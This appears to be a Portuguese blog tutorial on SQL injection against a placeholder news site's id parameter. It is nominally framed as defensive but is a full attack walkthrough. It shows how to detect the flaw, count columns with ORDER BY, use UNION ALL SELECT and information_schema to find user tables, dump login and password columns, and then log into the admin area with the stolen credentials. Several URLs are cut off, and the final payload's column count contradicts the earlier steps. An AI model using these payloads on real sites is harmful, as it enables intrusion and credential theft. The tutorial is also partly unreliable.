SQL Injection – Conheça mais sobre esta ferramenta

Já ouvi muita gente falar sobre a fragilidades dos sites que podem ser invadidos por um simples comando que faz o sistema intepretar de maneira errada os dados.  Bom para os interessados segue um breve texto para que você saiba mais sobre SQL INJECTION e aprenda a se defender dos maliciosos da web.

Primeiramente quero mostrar para vocês um site onde vocês poderam encontrar mais sobre novas vulnerabilidades, como se proteger de vulnerabilidades da web.

http://www.owasp.org/

Nessa aula estremos aprendendo SQLi, no entanto dessa vez estaremos consultado o database Mysql para obter informações de login e senha.

Aqui esta o site: www.site.com.br/noticias.php?id=10

Para descobrir se pode estar vulneravel, coloque ‘ depois do link, caso dei algum erro tem grande chance de estar vulneravel.

www.site.com.br/noticias.php?id=10‘

Um exemplo de erro: Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/site/public_html/noticias/index.php on line 282

Essa falha é baseada em erros.

Vamos pegar o numero de colunas usando ORDER BY *

É usado dessa maneira:

+order+by+1 //Sem erro

+order+by+2 //Sem erro

+order+by+3 //Sem erro

+order+by+4 //Sem erro

+order+by+5 //Sem erro

+order+by+6 //Erro

www.site.com.br/noticias.php?id=10+order+by+5

Então são apenas 5 colunas

Vamos uni-las, usando UNION ALL SELECT *

http://www.site.com.br/noticias.php?…lect+1,2,3,4,5

Coloque um traço (-) antes do valor da variavel ficando assim:

http://www.site.com.br/noticias.php?…lect+1,2,3,4,5

Irão aparecer numeros, eles que nóis iremos subtituir por informações:

Precisamos encontrar a tabela do login agora, podemos usar Brute Force, ou então information_schema. O information_schema só funciona em databases MYSQL acima de versão acima de 5.0, para descobrir a versão use: version()

+union+all+select+1,version(),3

//–Brute Force–\\

Vamos tentar colocar tabelas até que não apareça erro:

UNION ALL SELECT * FROM ADMIN == erro

“” “” “” “” LOGIN == erro

“” “” “” “” USER == erro

“” “” “” “” USERS == erro

“” “” “” “” USUARIOS == sem erro

Então no caso ficaria assim: http://www.site.com.br/noticias.php?…+from+usuarios

Você pode usar: admin, admins, usuarios, usuario, user, users, user_name, username, login, adm, tb_usuarios, tb_admin … entre outros.

//–INFORMATION_SCHEMA–\\

DATABASE: INFORMATION_SCHEMA

TABELA: TABLES

COLUNA: TABLE_NAME

Sintaxe = Exemplo: UNION ALL SELECT 1,TABLE_NAME,3 FROM INFORMATION_SCHEMA.TABLES

Para ir passando de tabela você usa LIMIT *

LIMIT 1,1

LIMIT 2,1

LIMIT 3,1

LIMIT 4,1

LIMIT 5,1

… E assim vai indo até encontrar uma tabela de login.

Ex: http://www.site.com.br/noticias.php?…bles+limit+1,1

//

Vamos agora descobrir as colunas de login, você pode usar as mesmas tecnicas de brute force e information_schema, no entanto information_schema é um pouco diferente:

DATABASE: INFORMATION_SCHEMA

TABELLA: COLUMNS

COLUNA: COLUMN_NAME

Sintaxe = Exemplo: UNION ALL SELECT 1,COLUMN_NAME,3 FROM INFORMATION_SCHEMA.COLUMNS

Para passar de coluna pode usar o LIMIT também.

//

Agora continuando suponhamos que eu tenha pegado a tabela USUARIOS e as colunas LOGIN e SENHA, para pegar as informações de login e senha é so digitar eles no seu site, nos numeros visiveis, suponhamos que tenha parecido o 2 e 3 então vamos substituir eles pela informação:

UNION ALL SELECT 1,LOGIN,SENHA,3,4,5 FROM USUARIOS

http://www.site.com.br/noticias.php?…+from+usuarios

Agora é só encontrar a area de login, geralmente fica em /admin , /adm/ , /administrator /login.php , ou você pode usar o acunetix ou algum outro tool para encontrar a area de login.

Ao encontra-la é só você se logar com as informações que você pegou

Auotr: Twi John

No related posts.

Leave a Reply

Spam Protection by WP-SpamFree